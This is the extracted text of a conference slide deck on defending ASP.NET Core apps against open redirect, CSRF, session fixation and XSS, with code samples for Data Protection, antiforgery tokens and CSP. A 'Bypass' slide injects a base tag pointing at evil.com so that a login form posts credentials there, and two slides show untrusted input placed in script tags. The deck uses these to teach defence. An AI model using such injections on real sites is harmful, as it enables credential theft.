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ptsecurity.com
Preventing attacks in
ASP .NET Core
Mikhail Shcherbakov
Independent Developer and
Consultant
Who am I
 Independent Developer and Consultant
 Co-organizer of .NET meetups http://dotnet.ru
 Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups
 Former Product Manager at Cezurity, R&D Developer at Positive
Technologies and Team Lead at Acronis, Luxoft, Boeing
#2
What you can expect
 We’re going to talk about preventing Open Redirect, CSRF, XSS
attacks, using and architecture of cookies, Data Protection,
Session Management, CSP.
 We’re not going to discuss authentication and authorization.
#3
Microsoft .NET Core and ASP.NET Core
Bug Bounty Program
https://aka.ms/corebounty
#4
Prevention Open Redirect Attacks
Механизмы предотвращения атак в ASP.NET Core
Why do we talk about it?
https://github.com/OWASP/Top10/tree/master/2017/datacall
#7
WTF?
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20To
p%2010%20-%202017%20RC1-English.pdf
#8
How to use the prevention mechanism
public async Task<IActionResult> Login(LoginViewModel model, string returnUrl)
{
// ...
return LocalRedirect(returnUrl);
}
private IActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
return Redirect(returnUrl);
else
return RedirectToAction(nameof(HomeController.Index), "Home");
}
#10
https://technet.microsoft.com/library/security/4021279
#9
Data Protection
Overview
 No machine keys
 High level cryptography out-of-the-box
 Key stores out-of-the-box
 Supports key rotation automatically
 Provides isolation based on purposes automatically
#12
Protect / Unprotect
public class HomeController : Controller
{
private readonly IDataProtector protector;
public HomeController(IDataProtectionProvider provider)
{
protector = provider.CreateProtector("isolation-purpose");
}
public IActionResult Index(string input)
{
var protectedPayload = protector.Protect(input);
var unprotectedPayload = protector.Unprotect(protectedPayload);
return View();
}
}
#13
Protect / Unprotect
public IActionResult Index(string input)
{
var timeLimitedProtector = protector.ToTimeLimitedDataProtector();
var protectedData = timeLimitedProtector.Protect(input,
lifetime: TimeSpan.FromMinutes(30));
return View();
}
#14
Password Hashing
public void StorePassword(SecureString password)
{
var salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(salt);
}
var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA512,
iterationCount: 10000,
numBytesRequested: 256 / 8));
// store salt and hash to DB...
}
#15
Configuration
public void ConfigureServices(IServiceCollection services)
{
services.AddDataProtection()
.SetApplicationName("isolation-name")
.SetDefaultKeyLifetime(TimeSpan.FromDays(14))
.PersistKeysToFileSystem(new DirectoryInfo(@"servershare"))
.ProtectKeysWithDpapi()
.UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings
{
EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC,
ValidationAlgorithm = ValidationAlgorithm.HMACSHA256
});
}
Configuration
 HKLMSOFTWAREMicrosoftDotNetPackages
Microsoft.AspNetCore.DataProtection
 EncryptionType
 DefaultKeyLifetime
 KeyEscrowSinks
Under the hood
 The default payload protection algorithm used is AES-256-CBC
for confidentiality and HMACSHA256 for authenticity. A 512-bit
master key, rolled every 90 days
 Protected payload format
 32-bit magic header
 128-bit key id
 the part of specific to the encryptor
#16
Under the hood
https://www.youtube.com/watch?v=X1V6_OyQKLw
#17
Anti-Request Forgery
Why do we talk about it?
 Official documentation was published on 27 March
and it has inaccuracies
https://docs.microsoft.com/ru-ru/aspnet/core/security/anti-
request-forgery
 This is an excellent example how to work with cookies!
#19
Cross-Site Request Forgery (CSRF)
#20
Synchronizer Token Pattern
#21
Synchronizer Token Pattern
Double-Submit Cookie Pattern
#22
AutoValidateAntiforgeryToken
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc(options =>
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()));
}
}
#23
ValidateAntiForgeryToken
IgnoreAntiforgeryToken
[ValidateAntiForgeryToken]
public class CustomController : Controller
{
[HttpPost]
[IgnoreAntiforgeryToken]
public IActionResult DoSomething(SomeViewModel model)
{
// no antiforgery token required
}
}
#24
Generate AntiForgery tokens automatically
<form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]"
method="post" class="form-horizontal">
<h4>Use a local account to log in.</h4>
<div asp-validation-summary="All" class="text-danger"></div>
<div class="form-group">...</div>
</form>
<form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate">
<h4>Use a local account to log in.</h4>
<div class="text-danger validation-summary-valid" data-valmsg-summary="true">
<ul><li style="display: none"></li></ul>
</div>
<div class="form-group">...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1
</form>
#25
Add AntiForgery token explicitly
<form action="/" method="post">
@Html.AntiForgeryToken()
</form>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s
#26
AJAX, WebAPI, SPAs…
 Do you use authentication cookies?
 No cookies, no problems… except for stealing a token by XSS 
For example, you may use JSON Web Token (JWT)
 Yes, I do… Go next page
#27
AJAX, WebAPI, SPAs…
@inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf
@functions{
public string GetAntiXsrfRequestToken()
{
return Xsrf.GetAndStoreTokens(Context).RequestToken;
}
}
<input type="button" id="antiforgery" value="Antiforgery" />
<script>
$("#antiforgery").click(function () {
$.ajax({
type: "post",
dataType: "html",
headers:
{
"RequestVerificationToken": '@GetAntiXsrfRequestToken()'
},
url: '@Url.Action("Antiforgery", "Home")',
});
});
#28
AngularJS
HttpContext.Response.Cookies.Append("XSRF-TOKEN",
antiforgery.GetAndStoreTokens(HttpContext).RequestToken,
new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
services.AddAntiforgery(options => options.HeaderName = "X-XSRF-TOKEN");
#29
Under the Hood
<form method="post" action="/Home/MyAction">
<div>...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049
</form>
https://github.com/aspnet/Antiforgery
#30
New Token
private static readonly RandomNumberGenerator randomNumberGenerator =
RandomNumberGenerator.Create();
private static byte[] GenerateNewToken(int bitLength)
{
var data = new byte[bitLength / 8];
randomNumberGenerator.GetBytes(data);
return data;
}
#31
Cookie Attributes: Domain and Path
public class ResponseCookies : IResponseCookies
{
public void Append(string key, string value, CookieOptions options)
{
var cookieHeaderValue = new SetCookieHeaderValue(
Uri.EscapeDataString(key), Uri.EscapeDataString(value));
cookieHeaderValue.Domain = options.Domain;
cookieHeaderValue.Path = options.Path;
#32
Cookie Attributes: HttpOnly
#33
Using HttpOnly is enough?
cryptoSystem = provider.CreateProtector(
"Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1");
// ...
var bytes = cryptoSystem.Protect(stream.ToArray());
#34
Why isn't it enough again?
/* The serialized format of the anti-XSRF token is as follows:
* Version: 1 byte integer
* SecurityToken: 16 byte binary blob
* IsCookieToken: 1 byte Boolean
* [if IsCookieToken != true]
* +- IsClaimsBased: 1 byte Boolean
* | [if IsClaimsBased = true]
* | `- ClaimUid: 32 byte binary blob
* | [if IsClaimsBased = false]
* | `- Username: UTF-8 string with 7-bit integer length prefix
* `- AdditionalData: UTF-8 string with 7-bit integer length prefix
*/
#35
Encrypted DTO Pattern
#36
Session Management
Overview
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#38
Overview
#38
Why do we talk about it?
 The current implementation has a weakness that can be the
cause of Session Fixation attack.
 The Session Fixation took 2th prize in OWASP Top 10.
#40
Demo code
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#41
Механизмы предотвращения атак в ASP.NET Core
Session Fixation in ASP .NET Core
 Don’t store security sensitive data in a session!..
 Or die fix it in your project.
#43
Prevention XSS Attacks
Why do we talk about it?
 The XSS is the most popular attack to web applications
 https://github.com/OWASP/Top10/tree/master/2017/datacall
 https://twitter.com/kochetkov_v/status/857575220160462850
 This is a good entry point for other attacks with more impact
 Only some people know and correctly use built-in XSS
prevention mechanisms
#45
Same-origin policy (SOP)
 URI scheme (http)
 Hostname (my-domain.com)
 Port number (80)
#46
Potential XSS
<script src="@ViewData["UntrustedInput"]">
</script>
#47
Potential XSS
<script>
@ViewData["UntrustedInput"];
</script>
#48
Encoding points
 HTML
 JavaScript
 URL
 XML
 SVG
#49
Encoding points
 HtmlEncoder (@<member> in .cshtml)
 JavaScriptEncoder
 UrlEncoder
 Any sanitizer https://github.com/mganss/HtmlSanitizer
#50
Content Security Policy (CSP)
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("Content-Security-Policy",
"default-src 'self'; report-uri /cspreport");
await next();
});
#51
CSP Report Request
public class CspReportRequest
{
[JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; }
}
public class CspReport
{
[JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; }
[JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; }
[JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; }
[JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;}
[JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; }
[JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; }
[JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; }
}
#52
CSP Report Endpoint
[HttpPost("~/cspreport")]
public IActionResult CspReport([FromBody] CspReportRequest request)
{
// log and analyze the report...
return Ok();
}
#53
Bypass
<base href='http://evil.com/'>
<form method="post" class="form-horizontal" action="/Account/Login">
<h4>Use a local account to log in.</h4>
<input type="email" id="Email" name="Email" value="" />
<input type="password" id="Password" name="Password" />
<button type="submit">Log in</button>
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N
</form>
#54
x-xss-protection
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("x-xss-protection", "1");
await next();
});
#55
Summary
 Michal Zalewski “Tangled Web. A Guide to Securing Modern
Web Applications”
 Stan Drapkin “Security Driven .NET”
 OWASP Testing Guide v4
#56
Questions?!
Mikhail Shcherbakov
@yu5k3
https://www.linkedin.com/in/mikhailshcherbakov
Independent Developer and Consultant
The presentation contains footage from Olive Kitteridge
ptsecurity.com
Спасибо!
Thank you!

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Механизмы предотвращения атак в ASP.NET Core

  • 1. ptsecurity.com Preventing attacks in ASP .NET Core Mikhail Shcherbakov Independent Developer and Consultant
  • 2. Who am I  Independent Developer and Consultant  Co-organizer of .NET meetups http://dotnet.ru  Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups  Former Product Manager at Cezurity, R&D Developer at Positive Technologies and Team Lead at Acronis, Luxoft, Boeing #2
  • 3. What you can expect  We’re going to talk about preventing Open Redirect, CSRF, XSS attacks, using and architecture of cookies, Data Protection, Session Management, CSP.  We’re not going to discuss authentication and authorization. #3
  • 4. Microsoft .NET Core and ASP.NET Core Bug Bounty Program https://aka.ms/corebounty #4
  • 7. Why do we talk about it? https://github.com/OWASP/Top10/tree/master/2017/datacall #7
  • 9. How to use the prevention mechanism public async Task<IActionResult> Login(LoginViewModel model, string returnUrl) { // ... return LocalRedirect(returnUrl); } private IActionResult RedirectToLocal(string returnUrl) { if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); else return RedirectToAction(nameof(HomeController.Index), "Home"); } #10
  • 12. Overview  No machine keys  High level cryptography out-of-the-box  Key stores out-of-the-box  Supports key rotation automatically  Provides isolation based on purposes automatically #12
  • 13. Protect / Unprotect public class HomeController : Controller { private readonly IDataProtector protector; public HomeController(IDataProtectionProvider provider) { protector = provider.CreateProtector("isolation-purpose"); } public IActionResult Index(string input) { var protectedPayload = protector.Protect(input); var unprotectedPayload = protector.Unprotect(protectedPayload); return View(); } } #13
  • 14. Protect / Unprotect public IActionResult Index(string input) { var timeLimitedProtector = protector.ToTimeLimitedDataProtector(); var protectedData = timeLimitedProtector.Protect(input, lifetime: TimeSpan.FromMinutes(30)); return View(); } #14
  • 15. Password Hashing public void StorePassword(SecureString password) { var salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA512, iterationCount: 10000, numBytesRequested: 256 / 8)); // store salt and hash to DB... } #15
  • 16. Configuration public void ConfigureServices(IServiceCollection services) { services.AddDataProtection() .SetApplicationName("isolation-name") .SetDefaultKeyLifetime(TimeSpan.FromDays(14)) .PersistKeysToFileSystem(new DirectoryInfo(@"servershare")) .ProtectKeysWithDpapi() .UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings { EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC, ValidationAlgorithm = ValidationAlgorithm.HMACSHA256 }); }
  • 18. Under the hood  The default payload protection algorithm used is AES-256-CBC for confidentiality and HMACSHA256 for authenticity. A 512-bit master key, rolled every 90 days  Protected payload format  32-bit magic header  128-bit key id  the part of specific to the encryptor #16
  • 21. Why do we talk about it?  Official documentation was published on 27 March and it has inaccuracies https://docs.microsoft.com/ru-ru/aspnet/core/security/anti- request-forgery  This is an excellent example how to work with cookies! #19
  • 25. AutoValidateAntiforgeryToken public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute())); } } #23
  • 26. ValidateAntiForgeryToken IgnoreAntiforgeryToken [ValidateAntiForgeryToken] public class CustomController : Controller { [HttpPost] [IgnoreAntiforgeryToken] public IActionResult DoSomething(SomeViewModel model) { // no antiforgery token required } } #24
  • 27. Generate AntiForgery tokens automatically <form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]" method="post" class="form-horizontal"> <h4>Use a local account to log in.</h4> <div asp-validation-summary="All" class="text-danger"></div> <div class="form-group">...</div> </form> <form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate"> <h4>Use a local account to log in.</h4> <div class="text-danger validation-summary-valid" data-valmsg-summary="true"> <ul><li style="display: none"></li></ul> </div> <div class="form-group">...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1 </form> #25
  • 28. Add AntiForgery token explicitly <form action="/" method="post"> @Html.AntiForgeryToken() </form> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s #26
  • 29. AJAX, WebAPI, SPAs…  Do you use authentication cookies?  No cookies, no problems… except for stealing a token by XSS  For example, you may use JSON Web Token (JWT)  Yes, I do… Go next page #27
  • 30. AJAX, WebAPI, SPAs… @inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf @functions{ public string GetAntiXsrfRequestToken() { return Xsrf.GetAndStoreTokens(Context).RequestToken; } } <input type="button" id="antiforgery" value="Antiforgery" /> <script> $("#antiforgery").click(function () { $.ajax({ type: "post", dataType: "html", headers: { "RequestVerificationToken": '@GetAntiXsrfRequestToken()' }, url: '@Url.Action("Antiforgery", "Home")', }); }); #28
  • 32. Under the Hood <form method="post" action="/Home/MyAction"> <div>...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049 </form> https://github.com/aspnet/Antiforgery #30
  • 33. New Token private static readonly RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); private static byte[] GenerateNewToken(int bitLength) { var data = new byte[bitLength / 8]; randomNumberGenerator.GetBytes(data); return data; } #31
  • 34. Cookie Attributes: Domain and Path public class ResponseCookies : IResponseCookies { public void Append(string key, string value, CookieOptions options) { var cookieHeaderValue = new SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)); cookieHeaderValue.Domain = options.Domain; cookieHeaderValue.Path = options.Path; #32
  • 36. Using HttpOnly is enough? cryptoSystem = provider.CreateProtector( "Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1"); // ... var bytes = cryptoSystem.Protect(stream.ToArray()); #34
  • 37. Why isn't it enough again? /* The serialized format of the anti-XSRF token is as follows: * Version: 1 byte integer * SecurityToken: 16 byte binary blob * IsCookieToken: 1 byte Boolean * [if IsCookieToken != true] * +- IsClaimsBased: 1 byte Boolean * | [if IsClaimsBased = true] * | `- ClaimUid: 32 byte binary blob * | [if IsClaimsBased = false] * | `- Username: UTF-8 string with 7-bit integer length prefix * `- AdditionalData: UTF-8 string with 7-bit integer length prefix */ #35
  • 40. Overview private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #38
  • 42. Why do we talk about it?  The current implementation has a weakness that can be the cause of Session Fixation attack.  The Session Fixation took 2th prize in OWASP Top 10. #40
  • 43. Demo code private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #41
  • 45. Session Fixation in ASP .NET Core  Don’t store security sensitive data in a session!..  Or die fix it in your project. #43
  • 47. Why do we talk about it?  The XSS is the most popular attack to web applications  https://github.com/OWASP/Top10/tree/master/2017/datacall  https://twitter.com/kochetkov_v/status/857575220160462850  This is a good entry point for other attacks with more impact  Only some people know and correctly use built-in XSS prevention mechanisms #45
  • 48. Same-origin policy (SOP)  URI scheme (http)  Hostname (my-domain.com)  Port number (80) #46
  • 51. Encoding points  HTML  JavaScript  URL  XML  SVG #49
  • 52. Encoding points  HtmlEncoder (@<member> in .cshtml)  JavaScriptEncoder  UrlEncoder  Any sanitizer https://github.com/mganss/HtmlSanitizer #50
  • 53. Content Security Policy (CSP) app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("Content-Security-Policy", "default-src 'self'; report-uri /cspreport"); await next(); }); #51
  • 54. CSP Report Request public class CspReportRequest { [JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; } } public class CspReport { [JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; } [JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; } [JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; } [JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;} [JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; } [JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; } [JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; } } #52
  • 55. CSP Report Endpoint [HttpPost("~/cspreport")] public IActionResult CspReport([FromBody] CspReportRequest request) { // log and analyze the report... return Ok(); } #53
  • 56. Bypass <base href='http://evil.com/'> <form method="post" class="form-horizontal" action="/Account/Login"> <h4>Use a local account to log in.</h4> <input type="email" id="Email" name="Email" value="" /> <input type="password" id="Password" name="Password" /> <button type="submit">Log in</button> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N </form> #54
  • 57. x-xss-protection app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("x-xss-protection", "1"); await next(); }); #55
  • 58. Summary  Michal Zalewski “Tangled Web. A Guide to Securing Modern Web Applications”  Stan Drapkin “Security Driven .NET”  OWASP Testing Guide v4 #56

Editor's Notes

  • #9: Positive Technologies Top 10
  • #19: https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/configuration/machine-wide-policy
  • #27: Except: GET HEAD OPTIONS TRACE
  • #37: Потенциальные проблемы с авторизацией
  • #38: Why using HttpOnly attribute is not enough?
  • #39: Set cookie before the server (XSS, Set-Cookie header) В распределенной системе вы должны позаботиться о key store доступный всем серверам
  • #45: Authentication cookie Session cookie Differences with ASP .NET WebForms/MVC implementation
  • #59: Упомянуть про script-nonce
  • #61: https://msdn.microsoft.com/en-us/library/dd565647